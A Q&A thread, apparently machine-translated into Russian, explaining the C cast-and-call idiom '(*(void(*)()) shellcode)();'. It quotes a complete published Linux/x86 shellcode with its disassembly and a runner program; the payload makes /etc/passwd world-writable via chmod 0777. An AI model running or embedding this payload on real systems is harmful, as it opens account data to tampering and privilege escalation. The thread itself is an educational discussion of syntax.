2015-07-15 23 views
6

Извините, если это звучит тривиально, но кто-нибудь может объяснить мне, что это такое?что (* (void (*)()) shellcode)(); означает?

(*(void(*)()) shellcode)(); 

Я думаю, что второй * устанавливает void быть указателем, но и первый *? литье? и () для вызова некоторой функции?

Исходный код здесь:

/* 
# Title: Linux/x86 chmod('/etc/passwd',0777) - shellcode 42 bytes 
# Platform: linux/x86_64 
# Author: Mohammad Reza Espargham 
# Linkedin : https://ir.linkedin.com/in/rezasp 
# E-Mail  : me[at]reza[dot]es , reza.espargham[at]gmail[dot]com 
# Website  : www.reza.es 
# Twitter  : https://twitter.com/rezesp 
# FaceBook : https://www.facebook.com/mohammadreza.espargham 


Disassembly of section .text: 


00000000 <.text>: 
0: 6a 0f     push $0xf 
2: 58      pop %eax 
3: 68 90 90 ff 01   push $0x1ff9090 
8: 59      pop %ecx 
9: c1 e9 10     shr $0x10,%ecx 
c: 68 90 73 77 64   push $0x64777390 
11: 5b      pop %ebx 
12: c1 eb 08     shr $0x8,%ebx 
15: 53      push %ebx 
16: 68 2f 70 61 73   push $0x7361702f 
1b: 68 2f 65 74 63   push $0x6374652f 
20: 89 e3     mov %esp,%ebx 
22: cd 80     int $0x80 
24: b0 01     mov $0x1,%al 
26: b3 01     mov $0x1,%bl 
28: cd 80     int $0x80 
*/ 

#include <stdio.h> 
#include <string.h> 

int main(){ 
    unsigned char shellcode[] = "\x6a\x0f\x58\x68\x90\x90\xff\x01\x59\xc1\xe9\x10\x68\x90\x73\x77\x64\x5b\xc1\xeb\x08\x53\x68\x2f\x70\x61\x73\x68\x2f\x65\x74\x63\x89\xe3\xcd\x80\xb0\x01\xb3\x01\xcd\x80"; 
    fprintf(stdout, "Length: %d\n\n", strlen(shellcode)); 
    (*(void(*)()) shellcode)(); 
} 

ответ

11

Это литье shellcode к указателю функции не возвращая ничего и принимать неопределенное количество параметров. И затем называя это.

void (*)() - тип функции, которая ничего не возвращает и принимает неопределенное количество параметров.

/* | --------------------| Cast to a function pointer 
    |      |       */ 
(* ((void(*)()) shellcode))() /* 
^       ^call the function through the pointer 
|-- dereference the pointer */ 
+0

Не неопределенное количество аргументов, никаких аргументов. – Steve

+3

@Steve: В C это неопределенное количество аргументов. Для без аргументов это будет '(* (void (*) (void)) shellcode)();' –

+1

@Steve Я очень уверен, что это неопределенное количество аргументов. Если вы хотите использовать его с ** NO ** аргументами, то подпись должна быть 'void (*) (void)'. –

1

shellcode - это подпись указателя функции. Его использовали, чтобы найти базовый указатель и добавить некоторые смещения, чтобы найти указатель функции.

Рассмотрим следующий код, его же:

#include <iostream> 

void anotherFunction() 
{ 
    std::cout << "Im being called" << std::endl; 
} 

int main() 
{ 
    typedef void (*funcPtr)(void); 
    funcPtr f=&anotherFunction; 

    f(); 

    std::cin.get(); 
    return 0; 
} 

Это то же самое, а

(*(void(*)(void))&anotherFunction)(); 

для ОФК подписи за исключением.

+0

IDK, что вы пытаетесь сказать о базовых указателях и смещениях? –

+0

Я не уверен, что я следую за мат. Вы имеете в виду, что я должен пропустить всю эту часть или вы спрашиваете, что это такое? –

Смежные вопросы